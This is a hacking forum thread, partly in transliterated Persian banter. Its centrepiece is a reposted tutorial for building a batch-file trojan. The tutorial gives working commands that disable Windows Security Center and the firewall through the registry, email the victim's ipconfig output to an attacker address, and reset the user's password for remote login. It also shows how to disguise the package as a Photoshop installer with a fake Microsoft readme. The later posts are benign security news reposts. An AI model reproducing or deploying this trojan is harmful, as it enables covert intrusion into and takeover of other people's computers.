Hack & Hackers

[golgol85]

na, chon oonvaght age khamoosh bashin roshan mishin, hehehe

[donsaeid]

vay goole namaki bekhoda... bia man daram nimroo dorost mikonam

[golgol85]

momkene ba namak basham, vali nemirizam namakamo
be jaye nimroo ye saladi chizi mikhordi ke healthy bashe

[donsaeid]

hahaha

[golgol85]

khande dasht harfam?
hala hack ke yad gereftam behet khandaro neshoon midam

[Parinaz_M]

niloo joon dige dare tarsnak mishe, havaye khodetono dashte bashid!!!!!!!

[Rasputin]

Advanced Batch File Viruses

Yo, what's up everyone?
Welcome to my second Batch file article, "Advanced batch Virus Programming"
Now when I say advanced, I mean advanced, we are going to be exlporing how to
write Batch File Trojan Horses, etc.

If you havn't yet read my previous article entitled "Batch File Viruses" Please
do so before attempting to write these codes and read this article. It won't
Make sense. Taht bieng said, this is not a batch n00b article, if you are a Batch
n00b, read my previous article, understand it, and you will no longer be a Batch
n00b. The general idea of this article is too step you through how to make a simple
Batch Trojan, then open up your mind to the big picture. I hope you learn something new.

Introduction:
As time goes on, I get more and more comments saying--"Batch files arn't viruses!
They can't do anything serious! they are toys!"
I am writing this article, to prove them absalutely wrong.

Batch File myths:

-A batch file cannot be considered a virus because it can not spread.
Viruses spread, and Batch files do not.

-A batch Trojan horse, no matter how simple, is not possible.

-Batch (MS-DOS) is not a real programming language and is good for nothing.


OK, now that you have read those Myths, let me prove each one of them wrong,
(in no particular order).



Getting started:

Alright, open up notepad, and start your Batch file. Use whatever coding you
like using to begin.

OK, now that you have done that, let's start our first Batch Trojan Horse.

--About this Trojan Horse--- It is NOT extremely complex and does NOT do all
of the things that some .EXE Trojans will do. It is just to make an example
of a basic remote access program. If you use your immagination, I am sure that
you will be able to make a much better Trojan that does almost anything you want.

*This is not a particularly discreet trojan Horse, however an ignorant computer user
will have no clue what is going on.


Coding:
OK, step one, let's make this file an auto-run. Slap on the code I
specified in my previous article and let's get started.

Step two, this program is going to need to disable the firewall and keep
itself from bieng detected by an anti-virus program. (This is a good example
of how this program is NOT discreet.)

We will simply disable both of those services for the time bieng.
Use this code:

net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0

This set of commands is self explanatory, it stops the security cenrer, then
flashes through registry and kills the firewall.

Now we have an auto-run Batch program that upon boot, will auto-run itself
and disable the firewall/security center.

Now we need to give ourselves this person's IP address...

I don't know if I was the first person to consider using a command prompt
mail client program as a way of stealing an IP address, hehe, but here we go.

You are going to need to download the mail client "febooti.exe"
and you can do so from the following URL:

http://www.febooti.com/downloads/

Ok, now that you have that, let's get too work.

Go back to your batch file and put on some febooti commands that will email you this
user/victim's IP address/whatever else you want.

Here we go:

ipconfig >Computer-IP-address.txt
febootimail -FROM RedBishopX@hotmail.com -TO Zone.Vortex@hotmail.com -ATTACH Computer-IP-address.txt
MSG "Victims IP is inside file attatchment Computer-IP-address.txt"
del Computer-IP-address.txt


This is a relatively simple script; allow me to explain it. First we use the "ipconfig"
command, which will give us the user's IP information. If you are in a particularly
malicious mood, you may want to use the command "IPconfig /all" which will also give you
there user names, MAC address, etc.
Now that we have run this command, we simple use ">" to copy it into a text file that we call
Computer-IP-address.txt, which will be saved into the current directory.

Next, (assuming the user has opened up febooti already) you use the febooti command
to send Mail from (as an example) RedBishopX to ZoneVortex.
We use the "MSG" command to write the body of the email, which says: "Victim's IP is
attatched to this email, etc."
Then we attach our text file with all of the sensitive information in it, to the email.

So here is what we have done:
disabled the firewall/security
sent an email to your email account with the user's IP information

Now, you can simply whip open Your remote access terminal (start-allprograms-accessories-communications-remote desktop)
enter int he user's IP, and if they are online, you will connect directly to their machine.
But Uh-oh... you are required to enter their password.

Go back to your Batch file.

You are going to want to create an account that you can log in with.
So you have too options: you can either change the user's password and log
in as him, or create a new profile and delete it when you are done.

Incase you forgot the command to change his username will be "net user %username% (new password)

It is up to you to do which ever of those 2 things you wish. I would reccomend changing their password,
logging in and doing whatever it was that you needed to do, then using Cain and Abel to sniff their old password,
and change it back to that.

Now let's zip our Trojan Programs together in a .ZIP folder.
Let's pretend we are desguising it as a photoshop.

ZIP folder:
(example)

Photoshop4.exe.bat-----(Our Batch program)
(Code for this program

@echo off
cls
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
cls
ipconfig >Computer-IP-address.txt
febootimail -FROM RedBishopX@hotmail.com -TO Zone.Vortex@hotmail.com -ATTACH Computer-IP-address.txt
MSG "Victims IP is inside file attatchment Computer-IP-address.txt"
del Computer-IP-address.txt
cls

Photoshop_setup.exe-----(febootimail.exe)

Readme.txt-----(For social engineering purposes, getting them to open this stuff in the right order)
(example)
///// Welcome to Photoshop4!! \\

This program is the published product of Microsoft Inc.

Setup:
Open and install "Photosop_setup.exe", this program will use the "febooti"
mail system to verify your request, and get you registered.

Once this is done, open the executable "Photoshop", and begin your wonderful experience.

Questions/Feedback? email us at PhotoshopStaff@microsoft.com

-Thank you.


Ok, now we have a simple Trojan Horse, nothing fancey, but it's something.

Now is when we use our immagination, if we can email text files through command prompt...
what is too stop us from emailing this program by email??

Do some research on the Febooti syntax. Perhaps you will find a way to mail it to everyone on
their user's contact list.

I am not garunteeing that all of these codes are EXACTLY correct, I want you to do some thinking
for yourself/research for yourself to get this program up and running. (this is my script kiddie gaurd)
The code is, however, in general, correct. And yes, I have tested this type of program, and Yes, it did work.
Using a mail client with a Batch program has limitless potential. Who knows what we could accomplish.
In general, this article is just to get you thinking about how many different things that you could do
with a similar idea to this, and how easy it would be.


My ending statement:

Hehehe, as always, Im going to make my little speach about not using this for massively-destructive
Purposes. lol. Just because we have a simple Trojan here, and we can turn it into a worm that deletes
every harddrive it hits and emails itself through a command prompt mailing system... doesnt mean
we need to use it like that. Again, I will strongly urge you to use this as a prank, rather than a weapon.

Lol, as the good book says: "What goes around comes around" lol

-Peace.

Published by: Zone Vortex,

[Rasputin]

Pls No More Chat in this thread.this thread is just for givin' you INFO ! You can just ask or reply legal article in this thread.thx!

[golgol85]

is there an easier way to hacking? that looks way too complicated and i read through it all but it seems too hard.

[Raiden]

I agree with RedWine..C++ will help you in hackin(I used to be a hacker)
First of all Real Hackers never admit they are hackers or even go saying "I will hack you" They like to keep quite...That doesn't mean their loners, proper hackers usually hack in teams (like squads) and they watch eachothers back...
If u want to hack get one of the open-source Unixes(Its an operating sys just like windows) and learn how to use it.

[Raiden]

just don't accept any file that you recieve in the chat rooms. and don't open any files from people you don't know
do what i do: open it up at school, not from your own computer!!!!!!!!

hahahaha, I feel srry for you ary joon..for the hacker to get ur IP address all they need to do is open a chat session with you....

[Rasputin]

ActiveX Flaw Identified

Microsoft is investigating reports of a vulnerability in a Windows ActiveX control that could allow an attacker to remotely take control of a computer, according to an advisory issued Friday. One security company rated the vulnerability critical, while Microsoft said it allows only limited attacks.

The vulnerability, which was not patched as of this morning, affects certain versions of Windows running Microsoft XML Core Services 4.0, a set of tools that allows programmers to use scripting languages to access XML documents.

The affected versions are Windows 2000 Service Pack 4, Windows XP Service Pack 2, Windows Server 2003, and Microsoft Windows Server 2003 Service Pack 1.

Web Site Triggers Bug
A user would have to visit a specially-crafted Web site that triggers the XMLHTTP 4.0 ActiveX control, Microsoft said. The attacker would then have the same rights on the machines as the current logged-on user, and could gain complete control of the machine. A similar flaw that took advantage of the XMLHTTP ActiveX control surfaced nearly five years ago and was later patched.

Users can protect themselves by disabling the affected ActiveX control, although the workaround could stop some Web sites from functioning correctly. Microsoft describes how to disable the control in an advisory.

Varied Diagnosis
The SANS Institute classified the flaw as a zero-day vulnerability, meaning the problem is public but not patched. The French Security Incident Response Team called it "critical."

Microsoft issues patches for its software on the second Tuesday on the month. The speed at which a patch is issued depends on the risk of the vulnerability, and the company has issued patches out of cycle for widely-exploited vulnerabilities.

[Rasputin]

Wikipedia Hijacked (Briefly)

Malware writers have used a Wikipedia article and special storage features to attempt to plant malicious code on unsuspecting users' systems, the online encyclopedia's organizers have confirmed.

Pointed to Archive
The incident took advantage of Wikipedia's policy of openness, which allows anyone to create and modify articles. The attackers created a Wikipedia page that promised a Windows security update for a supposedly new version of the Lovesan/W32.Blaster worm, and pointed to an external site with the seemingly authentic domain wikipedia-download.org.

Wikipedia editors quickly identified and deleted the article, according to a report from German news organization Heise. However, the attackers had used a Wikipedia feature that archives all previous versions of articles when changes have been made.

The malicious page thus continued to exist in the archive, and the attackers were able to point to it in mass e-mail messages, according to Heise.

The e-mail messages used Wikipedia's logo, and explained that Microsoft had asked Wikipedia to assist with hosting the patch during a supposed Lovesan/W32.Blaster outbreak.

Wikipedia confirmed it has now deleted the archived versions of the malicious article. Wikipedia-download.org also leads to a dead end.

Quality Sought Amid Quantity
In August, Wikipedia co-founder Jimmy Wales, addressing the Wikimania conference, acknowledged growing problems for the encyclopedia around accuracy and malicious edits, and promised to improve quality.

The English version of Wikipedia passed 1 million entries this year. .

[Rasputin]

Bugs & Fixes: Hackers' Latest Office Target Is PowerPoint

A few months ago it was Microsoft Word. Last month it was Excel. Now PowerPoint is under attack through a critical hole. Why so many Office flaws so quickly?

Part of the reason is that "black hat" hackers now have cracking tools called "fuzzers" that can automatically run through thousands of combinations of programming calls to find the one (or the dozens) that will crash a program. Such holes fetch good money from valid security firms that pay bounties, as well as from the Internet black market.

In addition, new vulnerabilities are cropping up at a faster rate in popular applications, such as Web browsers and media players, than in Windows, a fact not lost on crackers. When they find a new hole in Office, for example, they can mix-and-match an exploit that hits it with existing viruses and other malware for a quick attack that strikes before a patch appears--a bit like adding the latest targeting system to an existing missile.

Attackers did just that with the PowerPoint hole, which affects versions 2000, 2002, and 2003. As with the other Office flaws mentioned here, if you open a poisoned file from a Web site or an e-mail attachment, an attacker can take control of your PC. By the time you read this, Microsoft should have devised a patch for the vulnerability and sent it via Automatic Updates. For further details, read Microsoft Security Advisory 922970.

The new PowerPoint hole is much like the Excel holes that I discussed last month, which the last set of Automatic Updates corrected. You can get the Excel fixes and more information from Microsoft Security Bulletin MS06-037.

A second Office patch, also sent via Automatic Updates, eliminates three other holes in the major apps of Office 2000 through 2003. The risk is rated critical only for Office 2000, and important for other Office versions. The difference, however, is just that you get a minimal pop-up warning if you try to open a poisoned file, so get the update regardless of your version. For more details, read Microsoft Security Bulletin MS06-038.

Finally, Microsoft has fixed two critical holes involving the way both Office and Works handle the display of certain image formats--specifically, Portable Network Graphics (PNG) and Graphics Interchange Format (GIF). No attacks occurred prior to Microsoft's release of the patch; and again, the patch is critical only for Office 2000. You can get it via Automatic Updates or from Microsoft Security Bulletin MS06-039.

Critical Flash Player Bug FIX
Adobe just patched a critical bug in its incredibly popular Macromedia Flash Player. Exploitation of the flaw could leave your PC completely compromised via memory corruption, according to security researcher Fortinet. When you visit a Web site that contains a Flash movie (an .swf file), Flash Player automatically loads on your PC and plays the file.

All you'd have to do to get hit is visit a booby-trapped site. Once you were there, the file would play with no additional click from you. Versions 8.0.24 and earlier are at risk, according to Fortinet. Don't put off getting Adobe's updated release, version 9.0.16.

[Rasputin]

Up Front: Is This Any Way to Fix Security Holes?

It is tempting to think of hackers as twisted geniuses. Tinseltown sure does: Show me someone who's a hacker in a movie, and I'll show you a brilliant, enterprising nerd who has gone bad--someone who is fueled in equal parts by caffeine, cunning, and native technical skills.

In the real world, most hackers aren't that clever, and they aren't that industrious. They're more like looters, using brute force to break into PCs via weaknesses others have exposed. Oftentimes, they do so after developers have released patches, but before many users have installed them.

The Defender: Security reporter (and former Marine intelligence officer) Verton. Photograph: Rick Rizner"Biography of a Worm" is the moment-by-moment tale of one of the most notorious of those lootings, the invasion of the Sasser worm last spring. Author Dan Verton, a newcomer to this magazine but a seasoned senior writer at our sister publication Computerworld, knows his security, and not just of the digital variety: He's a former intelligence officer for the U.S. Marine Corps.

"Security isn't just about bits and bytes. It's about public safety as well," he explains. "Every insecure home computer is an attack vector waiting to be turned on by a sophisticated hacker." In other words, determined cyberterrorists could someday use the worms or viruses they plant on our PCs to launch assaults on government or private-sector infrastructure.

From Weakness to Worm
Sasser, luckily, was more colossal headache than national crisis. Its appearance is the climax of Verton's article: By the time a German teen pounded out the code, most of the heavy lifting had already been done. Months earlier, a California security researcher had discovered the Windows flaw it attacked, and Microsoft had acknowledged it and released a patch.

Shortly after Microsoft's security alert appeared, a Russian hacker made the flaw the subject of an "exploit," a sort of do-it-yourself worm recipe. The exploit became a building block of Sasser, which has infected at least 700,000 systems--so far.

Other attacks have similar biographies, and some are uglier still. Not every sleuth who finds a flaw discreetly alerts the developer. Some simply release the details to the world at large; hackers get their hands on it before a fix exists.

Microsoft's message to security researchers is simple: Help us, don't surprise us. "Providing information on vulnerabilities [to the public] only ends up putting customers at risk," says Stephen Toulouse, a senior program manager at the Microsoft Security Response Center.

To that end, the company is a member of the Organization for Internet Safety, a group that encourages researchers and developers to work together to identify and patch vulnerabilities. Sounds like a worthy cause to me.

But the danger in this sort of low-key, secretive approach is that it reduces the pressure on software companies to release important fixes as quickly as possible. In the case of the Windows hole that Sasser attacked, for instance, Microsoft didn't provide a patch until 188 days after it knew about the problem.

Of course, a hasty, buggy fix can be worse than the flaw it purports to correct. Still, for more than six months, even Windows users who diligently patched their machines were running an operating system with a gaping hole. That's enough to make any PC user squirm.

And when users squirm, says Verton, software companies must feel their pain. Real improvements in security may come only if users demand them: "If customers say, 'We won't buy your software unless it meets certain conditions,'" he believes, "that would make developers change."

Even Microsoft's Toulouse says that software buyers have every right to be demanding, nowadays. His response to users who think that Microsoft's security practices leave something to be desired?

"Keep telling us that," he requests. "We're working hard, and we need to hear how we can do better."

Tell us what you think, too. As long as there's a security mess, we'll keep covering it--and we need your feedback.